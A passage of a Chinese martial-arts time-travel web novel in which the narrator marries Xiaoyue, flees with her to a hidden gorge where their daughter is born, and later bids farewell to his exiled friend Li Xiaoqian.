说罢,他“铮”一声拔出剑来,挥手就要砍我。小月急忙放在我面前,大声说道:“师父,剑下留情!” “月儿,你让开,让老夫杀了这个淫徒浪子!”他气急败坏地叫着,“不然,老夫怎么对得起你父母的在天之灵!” 小月“噗通”一声跪在地上,哭着说:“师父,你不能杀他。他是孩子的爹,除了您,他是我在这世上唯一的亲人了。”她轻轻扯了扯我的衣袖,向我使了一个眼色,示意我跪下。 我极不情愿。陆石虽然是小月的师父,但我直到此时仍然怪他只顾着痴迷练功,不顾小月的生死。 好在是小月已经被我平安的带了回来,若是她有什么意外,只怕此时拿剑要砍人的不会是他,而是我。 为了小月,我强忍着跪在了陆石的面前。我双膝落地的那一刻,陆石手中的剑缓缓垂了下来,手一松,落在地上“呛啷”一声响。 “罢了,罢了。木已成舟,只好如此了。”陆石望天长叹,“肖兄啊,我愧对你啊!” 许久,陆石低头说了一句:“你们跟我来。” 我和小月站起来,刚要跟陆石走,夏尔马黝黑的手却拉住了我,他龇牙对我笑着,说:“我要好好谢谢你。” 我问:“谢我什么?” 夏尔马说:“是你帮我找到了摩珂钵特摩咒,我可以回天竺了。” 我问:“陆石同意把秘籍还给你了?” 夏尔马点头,说:“不错。而且我已经帮他祛除了摩珂钵特摩咒的毒害。他如今已经醒悟了,同意把秘籍还给我,让我带回天竺。” 我微微一笑,说:“恭喜你了。” 夏尔马兴奋的脑袋左右摇晃,白牙飘忽不定,看得我眼花缭乱。 小月走出去很远了,她或许是发现了我没有跟上,对我喊着:“快些啊,莫让师父等着。” 我告别了夏尔马,快步跟了上去。 4. 陆石的书房中,整洁有序,所有的物品都整齐摆放着,布局简单而又灵巧,所有的东西都出现的恰到好处,仿佛每一件物品的摆放都经过仔细琢磨一般,给人一种舒服的感觉。 陆石亲自斟满茶水,小月想要接过茶壶,却被陆石拦了下来。他说:“如今你身子不便,这些活儿我自己来就好。” 一句话,勾得小月眼中泪光闪动,她哽咽地说:“师父,是我让您挂心了。” 陆石轻叹一声,说:“你不怪为师就好,是为师对你疏于关注,所以……”他看了我一眼,目光落在我腰间的两把剑上,忽然脸色一变,叫道:“青光血芒!” 我说:“是!” 陆石说:“它们怎么会在你手里?!” 我说:“是别人送给我的。” “什么人会拥有剑狂之物?” 他又问,但我却没有回到。陆石怔了怔,忽然笑了起来,说道:“天意,天意啊!它们能在你手上,这真是天意啊!哈哈哈哈……” 他笑得莫名其妙,让我一阵发懵。我问:“为什么它们在我手上就是天意?” 陆石就像娄琴一样,躲躲闪闪,顾左右而言他,始终不肯告诉我答案。他说:“这两把剑在你手里,但愿你能好生利用,不要辜负了它们的盛名。” 我说:“有没有它们已经不对我毫无意义了。我决定远离江湖,带着小月去过安宁的日子。” 陆石一怔,问:“你们决定了?” 我和小月都说:“决定了。”小月又说:“师父,徒儿这次回来,就是向您老人家辞行的。” 陆石感慨一声,说:“如此也好,若我能早些看破,也不会经历这些波折。这世间纷纷扰扰自有天意使然,世人若都能安定地过好自己的日子,这天下便也太平了。”一番感慨以后,陆石又说:“你们二人再等一日,今夜在这山庄,我为你们操办婚事。我决不能让月儿无名无分地就跟了你,这也算是我能为你们做的最后一点事了吧。” 小月满脸感激,叫道:“师父……” 陆石一摆手,说:“去吧。” 我刚要走,突然想起圆通,便问:“前辈,你可知道圆通去了哪里?” 陆石怔了怔,说:“我并不知道。圆通大师没有告诉我。” 我又问:“他为什么会把金刚伏魔功交给你?” 陆石长叹一声,说:“那日,我与大师彻夜长谈。他临走之时,说这本书在他身上太过凶险,曾托我将保管。他曾经嘱咐我断不可练习书上的武功,是我没有听他的劝告……” 圆通。 想起这个名字,想起他所带给我的诸多疑惑。我始终感觉他的神秘就像是深不见底的深渊…… 我一直想要一探究竟,可是,这个深渊却那般的深邃,漆黑,看不见底端。 第二卷 武林盟的开始与结局 第一百六十四章 藏龙 1. 我问柳无风:“为什么又是你?” 柳无风说:“你不是要走吗?为什么还不走?” 我说:“我一直都想走,可你们不让我走。” 柳无风说:“我放了你很多次,是你自己一再拖延。既然心意已决,就应当立即离开,不该被诸多琐事牵绊。” 我一怔,陡然回想起与柳无风的数次交锋,才恍然醒觉,原来一次又一次的逃脱并非是幸运和偶然。 陆石走到我身旁,他看我的眼光依旧带着我所不能理解的异样,他说:“是不应当拖延了。若能早些决断,只怕也不会如今日这样。” 遍地尸体横七竖八地躺着,浓重地血腥味儿几乎让人窒息。我强忍着腹部不断泛起的恶心,看着柳无风,内心里充满了迷惑不解。我问:“你为什么要放我。” 柳无风说:“皇命难违。但心意更难违背。” 我凄然一笑,说:“看来,我又错了。” 柳无风说:“你若不想再错下去,就赶快离开这里。” 离开?我还能离开吗?我若走了,小月怎么办? 我摇了摇头,说:“我已经走不了啦。我要去救小月。” 柳无风面无表情,言语中却是一声叹息,他说:“我本不应这么做,有伤我尽忠职守的风范。但......为了朋友,我还是这么做了。” 为了朋友......他这一句让我感动的想哭。我问:“你做了什么?” 柳无风说:“我花了三百两银子,买通了看守小月的侍卫。她现在就在山庄外向南五里的避风塘等你。” 我又惊又喜,一把抓住柳无风的手,说:“真的?” 柳无风哼了一声,也不看我,低沉地说了一句:“是真是假,是刀子是把儿,你自己去看看就知道了。” 我问:“你为什么如此帮我?” 柳无风说:“我面上无情,并非心里无情。你我相处多时,我不愿不分是非坑害朋友。你快走吧,别等我后悔了。” 我看了一眼陆石,他长叹一声,说:“走吧。不要再耽搁了。” “可是......夏尔马......” 我还未说完,陆石一摆手打断了我,说:“我会好好安葬大师,你快走吧,不要辜负了柳打人的一番好意。” 我郑重地点头,低头看着地上猩红闪烁的血芒,想要去捡却忽然犹豫了。陆石弯腰将剑捡起来,将它缓缓推入雪银的剑鞘。 血芒的红光终于被圣洁的雪银色遮盖了,那纯净的光芒如天空中皎洁的月色,从来不曾沾染过人世的血腥。 陆石将剑递到我手上,说:“你要记住。这一生都不要再用这把剑了。当年,你爹......” “你说什么?”我如受电掣,身子猛然剧颤。 陆石快速转过身去,背对着我,重重地说:“没什么。记好我说的话!快走!月儿还在等你!” 我还想再问,却见陆石背影决绝,终究是没有开口。 他们所有的人都知道的事情,却为何不肯告诉我?虽然被深深的疑惑包裹着,心情愈加沉重,但是,想到小月,我却也不愿再耽搁一刻。 柳无风说得对。既然心意已决,就应当立即离开,不该被诸多琐事牵绊。 我想柳无风郑重抱拳,说:“大恩不言谢。我欠你一个人情,今后若有机会一定会还。” 柳无风也转过了身去,他说:“你不用还我人情。记得还我三百两银子就行。” 我忍不住笑了笑,说:“一定!” 2. 风月之中避风塘。避得了瑟瑟的秋风,却避不开皎洁的明月。 月光下,一身红装的小月,在低矮的凉亭中焦急地等待着。当我驾马来到她跟前的时候,她冲我温婉一笑。我翻身下马,扶住小月,问:“你没事吧。” 小月笑着,摇摇头,说:“我没事。只是那些人给我施了迷香。药力还没全退,我现在身上还有些乏力。” 我揽住小月,那一刻,感觉像是揽住了世间所有的一切,心里满满当当的都是满足与安宁,我说:“没事就好。我还以为……” 小月问:“你以为什么?” 我说:“我以为你被他们抓走了。我们再也走不了了。” 小月说:“是柳无风,他放了我。你见到他了吗?” 我说:“见到了。是他叫我来这里找你的。” 小月说:“我不明白,他为什么要帮我们。” 为什么? 其实,我也不是很明白。这世间有些事真的让人琢磨不透,我以为是最亲近的人却出卖了我,我以为是敌人却帮了我。 但那些都已经过去了,都已经无所谓了。我挽起小月的手,将她扶上马背。我说:“我们走吧。” 小月问:“这次我们去哪里?” 我冲着小月微微一笑,说:“天涯海角!” 3. 天下这么大,何处才是天涯海角? 我和小月策马游荡在天地之间,只想着找一处远离临安,远离朝廷,远离江湖是非,一个永远都不会被人打扰的世外桃源。 天地茫茫,我和小月也曾一度迷茫。 曾一心远盾于江湖之位,但当真的走出去之后,才发现这天下之间,无处不是江湖。 绍兴十六年二月。 襄阳城外五十里,群山环绕处。两排山峦之间,一道千尺的山涧横亘其中,蜿蜒曲折,犹如一条巨龙盘卧。两旁石壁齐整,光秃秃一片黄褐色的岩壁,不见寸草寸木。 此涧,名唤藏龙涧。 我和小月偶然之间经过此处之时,被一番绝美不似人间的景象所震撼了。 当时,人间已是秋末时节,天寒气阔,草木凋敝。藏龙涧中却温暖如春,山花烂漫。一条窄溪,从藏龙涧深处蜿蜒流淌,映着半片月光,仍是粼粼闪动。溪水两旁满是叫不上名字的怪树。树干如龙,盘旋上升,树冠如云,枝繁叶茂,淡黄色的小花密密麻麻地长在枝叶之间,花朵不时飘落,一大片树林,青黄相间,清气迷人,恍如仙境。 我和小月当即决定在此处安息下来。似乎是上天有意,在这藏龙涧中还有一个温暖如春的山洞。里面石桌石床一应俱全,显然是有人居住过。只是那些物品上厚厚的尘封,告诉我们这个地方大概有许多年无人问津了。 4. 相传,百万年以前,南海水虺经过万年修炼,化为应龙,在天地间飞驰翻越,乘奔御风,搅乱人间安宁。上古天神震怒,一声令下,追捕应龙,要将其化作盘龙巨柱,镇守南海。 应龙不甘束缚,在人间奔窜。偶然间,来到一处山涧之中,见山涧蜿蜒曲折,两排山峦茂密,几有遮天蔽日之势,便藏于山涧之中,躲避天神追捕。 上古天神启动天灵镜,引万道金光,寻找应龙,在此山涧之中将应龙捕获。 自此之后,世人便将应龙藏匿的山涧叫做藏龙涧。 又相传。数百年前,藏龙涧中曾有一魔头出世。他在山涧中修炼多年,练了一身神鬼难敌的邪门武功。信风文学网 他出世之时,冲出山洞,正好遇见一群从旁路过的樵夫,他竟然将几个樵夫强行收入门下,传授武功,带他们杀入江湖,搅得腥风血雨。 然而,这些都是无关于这个神秘山涧的传说。 我和小月在这个山涧中平静地度过了五个月安宁的生活。在这五个月里,我们迎来了一个新的生命。 她是我和小月的女儿。 小月给我们女儿取名叫纾瑶。我听了之后,微微一笑。小月问我:“你笑什么?” 我说:“我想起来当年给自己取名字的事。” 小月问:“你给自己取了什么名字?” 我尴尬一笑,将粉嫩的婴儿抱在怀里,轻轻喊着她的名字。她微微睁开眼睛看了我一眼,抿了抿嘴,沉沉地睡了。 她应该对这个名字很满意。 毕竟是亲娘取的名字,自然是比师父取的好听。 纾瑶出生后面临的最大难题,便是小月没有奶。话说当年曹操带军打仗,曾有望梅止渴的典故。然而,每当嗷嗷待哺的纾瑶,盯着小月的胸口,望眼欲穿时,并没有产生望胸裹腹的效果。 纾瑶哭得更伤心了。 傍晚间,路经藏龙涧的樵夫对我说,涧外三里有一个陈家沟,那里陈老三家的婆娘懂得催乳,十里八乡甚为有名。 这夜月如银钩,悄然跃上天幕,给无边的黑夜送去一抹光明。柔和的银光笼罩在两排连绵的山峦之上,山峦之上郁树葱茫,将月色遮去大半。 我与小月商议以后,为了纾瑶,决定冒险离开藏龙涧,到陈家沟去寻找那樵夫口中所说的妇人。 虽然只有三四里,但马车越过崎岖的山路,却是异常的颠簸。几经打探之后,当我找到陈老三家门的时候,已近子时。 我轻轻叩响那扇普普通通的木门,等了片刻,却没有回应。 我看了一眼马车上的小月和纾瑶。小月微微摇头,说:“算了吧,太晚了,我们明日再来吧。” 难道还要让小月和纾瑶再经过一次奔波吗? 我一咬牙,攥起拳头狠狠砸了几下木门。 “咚咚咚......” 声音震破黑夜,很快惊醒了门内的人。一个男人的声音从门缝里飘出来:“谁呀!这深更半夜跑来敲门!是发意症了么?!” 很快,门被打开了。一个身材壮硕的汉子,揉着惺忪的睡眼出现在我面前。 他满脸不快,显然是对我的深夜打扰极为不满。他打量了我一遍,吼道:“你是谁呀?!” 我说:“你是陈老三吗?” 他又打量了我一遍,说:“我不认识你!”说罢,便要关门。 我眼见着好不容易叫开的门就要关上了,心里一急,慌忙伸手去挡。随着“吱呀”一声,我手掌间传来剧痛,我忍不住惨叫一声:“夹到我的手了。” 门又打开。陈老三不耐烦地冲我吼:“你这人当真是病的不轻,深更半夜到我们家,到底有什么要紧的事。” 我说:“我找你媳妇。” “谁要找我?”屋子里走出一个身材娇小的妇人,她盘着头发,一把木质的篦子将头发齐齐绾起。妇人穿戴整齐地出现在我面前,似乎还经过一番打扮。 陈老三瞥了那妇人一眼,骂道:“你个贼婆娘,谁叫你出来的?!快滚回去!” 妇人被男人一骂,不敢再上前,怔怔地站在院子中央,却仍然忍不住,和声和气地问:“你有什么事吗?” 我说:“我娘子不下奶,听人说你懂催乳,我想……” “去,去,去!” 我还没有说完,陈老三便已经不耐烦地把我往外赶,他骂咧咧地说:“大晚上的来敲门催乳,当真是不长眼!” 突然,马车里传来了纾瑶的哭声。声音清脆而焦急,让人楚楚生怜。 “孩子是不是饿了?!”妇人向前迈了两步,目光投向马车,脸上流露出关切,她说,“让我来看看吧。” “你个不知臊的贼婆娘,你看什么看!”陈老三骂道,“自己胸脯上两团云彩不下雨,还想跑到人家那里充龙王!” 那妇人看起来极为老实,虽然满脸关切,但被陈老三两三句一骂,登时杵在原地,不敢说话,也不敢动弹。 柳无风曾对我说,行走在这世间,金钱和暴力能解决大部分困难。 我不想使用暴力,但是我没有钱。 无奈之下,我一个箭步上前,对着陈老三家门内的一颗歪树劈了一掌。 “咔嚓”一声,树干从中间解开,一颗歪树变得更歪了。 陈老三被我吓得咣当一声坐在地上,满脸惊恐,颤巍巍地说:“大,大侠饶命,小的有眼无珠!” 我没用理会陈老三,转身对那妇人说:“帮帮我。” 那妇人颤抖着应了一声,快步走到马车的车厢里。过了一会儿,车厢里传来小月的几句“哎呦”声。我在车厢外,焦急地等待着,很快便听到小月欣喜地喊道:“有了,有了!” 苍天不负,久旱终逢甘霖。 这一夜,我和小月在陈老三家留宿。吃饱喝足的纾瑶,睡得异常满足。她缱绻地缩在襁褓之中,嘴角翘着欣然的笑意,一闽嘴沁出一丝洁白的乳汁。 小月从内屋走出了,她歉意地对陈老三夫妇说:“深夜惊扰,深感歉意。”她将手上的银镯摘下,除了她头上那根碧绿的玉钗,那是她身上仅有的值钱的饰品。她把那银镯子塞进陈老三媳妇的手心说:“我们已经没有银子了,这是我的贴身之物,算作报酬,请务必收下。” 陈老三媳妇急忙推辞,说:“这,这太贵重了……” “人家一片心意,你收了便是。”陈老三两眼冒光,在一旁规劝。 妇人推让不过小月,终究是还是收下了。 5. 本就被我和小月扰得已无心睡眠的陈老三,又意外收了小月的镯子,满脸都是兴奋激动,内心的愉悦已毫不掩饰。他索性打发媳妇去备几样酒菜,说要学那些文人墨客与我秉烛夜谈。 盛情难却,昏黄的烛火下,我与陈老三推杯换盏,从陈家沟聊到襄阳府,从襄阳府聊到大宋朝廷。 蝇营狗苟至天下大事,皆融在一杯又一杯的酒水中。那时,我才真正觉得,与平凡人的交往中才能发现自己其实也是平凡人。 陈老三醉眼迷离,一颗茴香豆塞进口中,嘎嘣嘎嘣地咀嚼了两下。刚刚说完天下的陈老三,话锋一转,说到了管天下:“福建的那群反贼只怕熬不到三月花开了。” 在藏龙涧的五个月,江湖纷扰,朝廷是非,天下大事,皆被我抛出九霄云外,从来没有想过要去打探什么。但这时,陈老三陡然说起,一时勾起了我的好奇心。我问:“他们现在怎么样了?” 陈老三一拍桌板,竖起大拇指便称赞道:“这薛弼将军真乃神人啊!据说月前,他在闽赣交界处,发动富户乡绅,组建团练,就带了几千人杀得管天下那伙贼寇片甲不留啊!如今,贼寇缩回了福建。据说是在什么汀泉山附近,已是强弩之末喽!” 听陈老三的这番话,他似乎对管天下等人并不认可,一直以贼寇相称。在我印象中,自靖康年之后,朝廷抗金不力,一味退避,甚至屈辱求和,一直被天下人所诟病。管天下喊出重振江湖的口号,拉拢武林各大门派。他又喊出收复河山的口号,拉拢天下人。这两个口号无疑最为诛心,为什么在陈老三口中,仍旧把管天下说成是“贼寇”呢? 我问:“难道你不支持管天下吗?你不想驱逐金人报仇雪耻吗?” 陈老三一摆手,笑道:“我就是一个平头百姓,我只管着过好自己的日子。这报仇也是种地,不报仇也是种地,有甚区别?这才刚太平了十几年,好不容易能安心种地了,管天下又来遭反,天下又不得安宁,他们不是贼寇是什么?” 这里是襄阳,宋金接壤的要塞。这里的百姓都是这样想的,那些离战火纷飞仍旧远矣的人,只怕更会如此。 陈老三又说:“若天下的人都能过好自己的日子,这天下就太平了。” 我默然无语。朝廷有朝廷的顾虑,江湖有江湖的打算,他们的不契合,却造成了一场让平民百姓无法接受的战乱。 这世间究竟是谁对,又是谁错呢? 第二卷 武林盟的开始与结局 第一百六十五章 天涯海角 1. 陈老三有一点说错了——管天下在春暖花开的阳春三月里,迎来了他生命的终结。 绍兴十六年三月末。 汀泉山被薛弼的平叛大军围困了整整一个月。数万人在被困汀泉山上,将整个汀泉山吃得寸草不胜。 春暖花开,整个汀泉山上光秃秃的一片,从山顶自山麓裸露着灰黑的泥土,没有了一丝色彩。 管天下眼看着大势已去,在汀泉派引颈自尽,含恨而终。伍黑龙与廖七嫂携手投进了波光粼动的大河,陈大刀挥着大刀斩下了自己的头颅,何白旗举着白旗走进了薛弼大军的营帐。 这一场战乱仿佛是平息了。 然而,战火焚烧过的土地,仍旧是白骨瀑野,生灵涂炭。 一向吝啬的皇上,为了恢复闽赣两地的生计,勒紧了裤腰,拨付了三千万两白银用于闽赣两路的战后重建。 然而,令我感到忧心的是,这三千万两白银调度的总司务官一职,落在了柳无风的手中。听到这事之后,我发出一声无力的叹息。 小月问我:“你为何叹息?” 我便笑着将柳无风过往的所作所为向小月说道了一遍。小月听后,也是一声长叹,说:“人是好人,官却是贪官,这两者竟也不冲突,当真是有趣。” 藏龙涧,流水落花,满目是柔美的米黄色,煞如绝美的仙境,让人感觉舒适而安详。 小月抽出青光剑,青光潋滟在一片米光的光景中竟也十分亮眼。她微微一笑,宛若仙子一般舞着剑。一片片飘零的花瓣,随着剑锋在空中飞舞成团,如同是仙子身上旖旎飘动的丝带。 青光剑一闪,剑尖儿向我一指,丝带飘荡着向我飞来,伶俐的剑气隐在其中,带着足以刺破一切的锐利。 我想着,看着小月,看着她手中向我刺来的剑,一动未动。 当第一片花瓣触到我鼻尖的一刻,伶俐的剑气却化成了轻柔的暖风,卷着漫天花瓣扑到我的脸上,像一只手温柔的抚摸过。 花雨散去,青光剑的剑尖儿就在我眼前三寸,小月笑着问我:“我的剑法可有进益?” 我抓住她的手,将她拉在怀里,说:“很好。只是......还不够快。” 2. 四月,暖风吹过山涧,带着醉人的花香。 一个白衣少年出现在溪水边,带着平淡的微笑,向我款款走来。 他的出现虽然令我惊讶,但却也并不意外。 他是一个执着的人,还是一个有野心的人。执着和野心的促使下,一个人做出任何事,都不会令人感到意外。 易小心向我一抱拳,说:“姬大哥躲得当真是巧妙,真是令我好一番寻找。” 我说:“我知道你迟早都会找到我。” 易小心笑容依旧平淡,目光是他这个年纪不应当有的深邃。他说:“姬大哥答应我的事,可曾忘了?” 我说:“我并没有忘。” 易小心点了点头,说:“很好。我当日在武林盟并未见到你,还以为姬大哥言而无信,反悔了呢。” 我叹了口气,说:“当时情况危急,不得已只能仓促离开。”我让他稍等片刻,自己回到山洞里拿出了那个木匣子。 轻轻拂去木匣子上浅浅的灰尘。这是白景行留给我的最后一件物品,虽然我还没有打开它,虽然我十分不舍得,但我必须交给易小心。 小月问我:“你确定把这它交给易小心?” 我说:“只有把它交出去,易小心才能放过我。不然,他会一直找我。” 小月点了点头,将青光剑送到我手上,说:“带着它,以防万一。” 我提着剑走出山洞,怀抱着木匣,走到易小心跟前的一刻。他平淡的表情再也难以掩饰内心的激动,不等我将木匣送到他脸前,他便迫不及待地将它夺了过去。 易小心笑着,抚摸着木匣,仿佛那个普普通通的木头足以满足他内心的所有。他将木匣子在手上翻看了一遍,忽然脸色一变,问:“这,这怎么打开?” 我说:“我也不知道。” 易小心狐疑地看着我,问:“你从来没有打开过?” 我说:“从来没有。” 易小心仍不死心,又问:“师父可曾教给你打开的方法?” 白景行的确跟我说过,当我能够接住那竹筒中射出的一百一十三根银针时,便可以打开这木匣。只可惜,直到竹筒被易小心抢走了,我已经没能接住一百一十三根银针。 我看着易小心焦急的模样,不禁想笑他的执着。他这样的年纪,本应是无忧无虑的少年,可以在青云山上肆无忌惮地享受着兄长的关怀,却因为一个本不应属于他的掌门之位,整日攻于算计,将自己逼得众叛亲离。 我说:“他什么都没有说过。” 易小心忽然大吼:“不可能!你一定知道,你只是不想告诉我!” 我冷笑一声,说:“如果我知道,我早就将它打开了。” 易小心目光凝滞,神采涣散。那是期盼化为乌有的绝望感。他喃喃地念着:“怎么可能,怎么可能......我很快就可以练成绝世武功,让整个青云上下心服口服!可是......可是......” “为什么会这样!” 易小心大吼了一声,举起木匣狠狠地砸在了地上。 “咔啦”一声,木匣粉碎,一张白纸赫然出现在碎木之下。 我和易小心同时愣住了,谁也没有想到打开木匣的方法竟然如此简单。 易小心慌忙上前,抢起白纸攥在手中,警惕地向后退了两步。 “哈哈哈哈......”易小心狞笑着,他摇晃着手中的白纸,大叫,“皇天不负,皇天不负啊!” 说完,他打开手中的白纸。一张方形,长宽不盈七寸的白纸,透过纸背,我只看一个乌黑的大字。 “快?!” 易小心失口念了出来,他不敢置信地将白纸在手上来回翻了几遍,但那张白纸上却再也没有显现出第二个字来。 快! 这就是白景行留给我的武功秘籍。看书网 这个奇怪的老头!我不禁觉得好笑——不过是一个字而已,他何必要弄得如此复杂而神秘,何不直接了当的将这个字说给我听。 易小心彻底绝望了。那方白纸从他手中飘落在地上,他摇头苦笑,又好像是在嘲笑着什么。他说:“我真傻,我真傻!师父最会骗人,师父就是个骗子!” 看着易小心的样子,我忽然心生同情。那种执着到最后终究是一场空的感觉,我何尝没有经历过。我忍不住劝他:“或许白前辈另有深意。只是我们还没有领悟到罢了。” “什么深意!”易小心苦笑着说,“我这个师父,本来就不是青云的人。做了青云派的掌门,也从来不把青云派的事放在心上。直到最后,把一身绝世武功交给你也不交给我们这些弟子。说不定……青云派历代相传的秘籍,已被他带到了阴曹地府也未可知。” 我说:“他毕竟是你的师父。” “师父?”易小心冷冷一笑,说,“我入门晚,是师兄们带起来的,就连武功也是师兄们教的。如今,我做了掌门,他们没有一个人服我。凡事还是以师兄自居,对我指手画脚。师父?在我这里不过是个称谓罢了。” 易小心转身向着藏龙涧外走去。他失落的背影在藏龙涧优美的景色中显得极不应景。 我于心不忍,喊住他,问:“你要去哪?” 易小心停下脚步,冷冷地说:“去看你好兄弟的热闹。” 好兄弟?! 我问:“什么好兄弟。” 易小心转过身来,冷冷地笑着:“你不知道?你的好兄弟李小谦如今替你背了黑锅,正在临安府听候发落呢。” 我心头一颤,问:“什么叫做替我背了黑锅?” 易小心没有回答我,他身子一晃,化作白影,忽闪忽闪地离开了。 我怔怔地呆在原地,不停地向着易小心最后的话。 李小谦怎么了? 一只柔软的手扶在了我的肩膀上,将我从沉思中拍醒。我一转头,看到小月温柔的笑脸。 “既然担心,就回去看看吧。”小月说。 我摇了摇头,说:“不。我答应过你……” 小月打断我,说:“不要担心我。我不希望我们今后的日子里,你总是牵挂着过去的事。” 我沉默着,不知如何回答,心里充满了犹豫。 小月又说:“况且,这里已经不安全了。我们迟早都要离开的。” 是啊。易小心可以找到的地方,别人或许也可以找到。而且,他也未必会帮我们保守秘密。 我说:“我们要去哪里?” 小月抬头看着茫茫无尽的天空,叹了口气,说:“天涯海角。” 3. 绍兴十六年三月末。管天下自尽之后,薛弼大军攻上了汀泉山。 未动一刀一剑,早已饿得奄奄一息的“乱贼”全部束手就擒。 据说,薛弼在查抄汀泉派时,在伍黑龙的书房里发现了一封拜帖,落款处写得是自称武林盟主的李小谦。 管天下自尽之后,江湖残余的各大门派担心朝廷平叛之后,继而开展对各大门派的清剿。因此,他们史无前例地联合起来,在临安府外天目山聚集,请求皇上严惩祸乱江湖之人,并履行当初的承诺——把江湖,还给江湖人。 经过管天下动.乱的大宋江山,虽然赢得最终的胜利,但却也损失惨重。闽赣两地民生亟待恢复,朝廷再也无力抵抗另一场动.乱。 高高在上的皇上再次给这个江湖传下诏书:武学为祖宗故事,文武之道不可偏废,特命有司复建武学,一如旧制。 赵构虽然不愿明言,但却以复建武学为由间默许了江湖的存在。正在各大门派要将矛头指向祸患江湖的我时,那封写着李小谦姓名的拜帖呈到了朝堂之上。 我见到柳无风时,曾问他,为何皇上一定要让李小谦做替罪羊? 柳无风说:“你知道的事太多,又不在皇上掌握之中。他自然不愿将你抛出去,保住你,便是保住了其中的秘密。” 这理由真是好笑,我说:“我一个棋子,能知道什么秘密?” 柳无风说:“永远不要小看自己了解的事情,或许你的不以为然会引发一场惊涛骇浪。” 我问:“李小谦会怎样?” 柳无风摇了摇头,说:“他在大理寺监牢中,一切只能听候皇上发落。” 4. 绍兴十六年四月中。 皇上为平息各大门派齐聚天目山请愿一事,再次搬下诏书:李小谦胆大妄为,冒充武林盟主拨弄是非,祸乱江湖,着赐名李罪,发配崖州,永世不得返回中土。 押解李小谦前往崖州的差役将他从大理寺监牢提出的时候,我带着黑纱的斗笠与柳无风在大理寺门前等候。 李小谦看到我,凄然苦笑,说:“没想到,最后来送我一程的竟然是你。” 那时,我看着李小谦落寞的神情,所有的怨恨就在一瞬间烟消云散。我说:“我们是兄弟。” 李小谦笑了,那是一种极为苦涩的自嘲的笑,笑得我心里愈发难受。他说:“电视剧里演的都他妈的是假的,老子只想混得好一点,到头来却混成自己的祖宗。” 我劝他:“事已至此,看开些吧。” 李小谦冲我吼道:“怎么看得开?!我一想到逢年过节,我爷爷跟我爸还得给我的牌位磕头上香,我他妈的就心塞!” 我没有他这样传奇的经历,也永远无法体会他所谓的心塞。但我看得见李小谦的失落。他走的时候,没有给我留下一句应有的道歉,只就给我一个永生难忘的失意落寞的背影。 这世间的事,真是难以预料。 送别的李小谦,我如约赶到绍兴。那时,小月已在陆府等候。再见陆游之时,他已经苍老了许多。两鬓的白丝就像是黑夜里的繁星一般,密集而且明显。 陆游终究不能违抗他母亲的命令,一封休书彻底结束了他和唐婉十年的感情。那时,他正在潜心准备着绍兴十六年秋季的科考。 陆游说,他羡慕我,可以轻剑快马恣意,携侣同游江湖。 我将小月扶上马车,看着陆游沧桑疲惫的模样,嘴巴许多安慰的话,却终究一句也说不出口。 马车轻轻摇晃着,带着小月,带着纾瑶,我们一家人迈上了寻找天涯海角的旅途。 如果没有后来的故事,我想,这便是我当年最殷切期盼的结局——一个妻子,一个孩子,去一同寻找一处远离世间纷扰的净土…… (第二卷终) 第一百六十六章 四年 1 走走停停人间路,兜兜转转是江湖。 我和小月所一直寻找的天涯海角到底在什么地方?我们经历四年的苦苦寻找,这个天涯海角如同是镜中水月,迷幻而不可捉摸。 自临安府告别陆游之后的四年里,我和小月从北至南,几乎走遍了所有我们不曾去过的地方,看遍了千山万水,也看遍了世间沧桑。 这四年里,时光如水,岁月静好,虽然一直在奔波,却每天都保守着心中的宁静,安详而幸福。 四年间,纾瑶也从一个尚在襁褓中的粉嫩婴儿一点一点地长成了一个聪明伶俐、古灵精怪的小丫头。 小月说,好在纾瑶不像我一样傻。 我很不服气,说,我幼年时,兄弟四人里数我最为聪明。 小月笑着问“你是不是想要告诉我,你幼年时遭了什么大难,所以才会变傻了吗?” 我豁然起身,装成很愤怒地模样捶胸顿足一番,然后与小月追逐打闹。纾瑶便会围着我们,跑着跳着,拍着白嫩的小手,喊着“娘快跑,爹要追上你了。” 绍兴十八年冬月,我和小月曾去往温暖的崖州避冬。 犹记得那天,我站在海边的礁石上,看着茫茫然望不到边际的大海,墨蓝墨蓝的海水推着白色的浪花敲打着岩壁,发出一阵阵“哗哗”的巨响。 崖州冬日的海风吹到我脸上,清清凉凉,绝不似北面那样的冷。这里虽然偏僻慌乱,却应当会是一个让人感到宁静的地方。 我在海边大约等了一个时辰。一个身披灰色披风的男子姗姗来迟。他头戴斗笠,在海风瑟瑟中缓缓向我走来。我怔怔的看着他,心情就像海中掀起的浪花一样澎湃。 “你过得还好吗?”我轻声地问他。 他并没有摘下斗笠,目光隐在帽檐之下,让我丝毫没有机会看见他的心思。他说“习惯了之后,便没有什么不好的。” 我问“你还回去吗?” 他说“去哪里?” 我说“你来的地方。你九百年后的家。” 他怅然叹息,说“从我被赐名李罪的那天起,我就知道,我这辈子都回不去了。” 我说“你说过,你的祖先很有钱。” 李罪。不,还是李小谦! 他的眼睛藏着阴影里,我却能看到他嘴角上扬起的笑意。他说“或许那是以后的事,但至少现在为止,我并没有钱。” 我们二人陷入沉默,许久之后,他问我“你约我出来究竟有什么事?不会只是问我过得好不好吧?” 我说“是。” 李小谦怔了怔,问“是什么?” 我说“就是来问你过得好不好的。” 李小谦冷哼一声,说“靠!没劲!”说罢,他转身离开。我看着他的背影,想要留住他。我想要取出怀里备好的酒囊,想要在着崖山海边与他把酒尽欢。 可是,他并不愿给我这样的机会。 走出了十几步,他忽然止住了步子,缓缓的转过身子,转到一半,却又停下了。他侧着脸,抬起头,目光与我对视。我还未来得及看清楚他的眼睛,他猛然将头转了过去。 “你别怪我。我只是不甘心” 我说“我知道。” 李小谦摇头苦笑,说“不!你不知道!你永远也不会明白一个穿越者混成我这个逼样是一种什么样心情!” 李小谦走了。从绍兴十八年冬月的这天起,便永远离开了我的生活。那些曾与他经历过的事情,成为我这一生里尤为深刻的一段记忆。 2 绍兴二十年,春暖花开的时节。 我和小月带着纾瑶,几经辗转,终究是又回到了阔别已久的藏龙涧。 当马车行进山涧时,正值傍晚时分。夕阳漫染山涧,远处层峦交错,被映得如火如枫。藏龙涧中绿树黄花,各色光彩交错,绚丽宜人。 溪水淙淙,粼粼闪动着各色光彩,一阵风穿涧而过,漫天淡黄色的花雨飘落,仿佛是坠入了仙境一般。 “爹,娘,蝴蝶!” 纾瑶从来没有见过这么多花瓣翩然起舞的样子,她兴奋地指着漫天飞舞的淡黄色花瓣,大声的嚷着。 风渐渐停歇。漫天飘飞的花雨缓缓落在地上,水上。纾瑶顿时满脸失落,一副不高兴地样子,又喊“爹,娘,蝴蝶不飞了。” 小月温柔地抚摸着纾瑶的脸,说“娘这就让它们飞起来。” 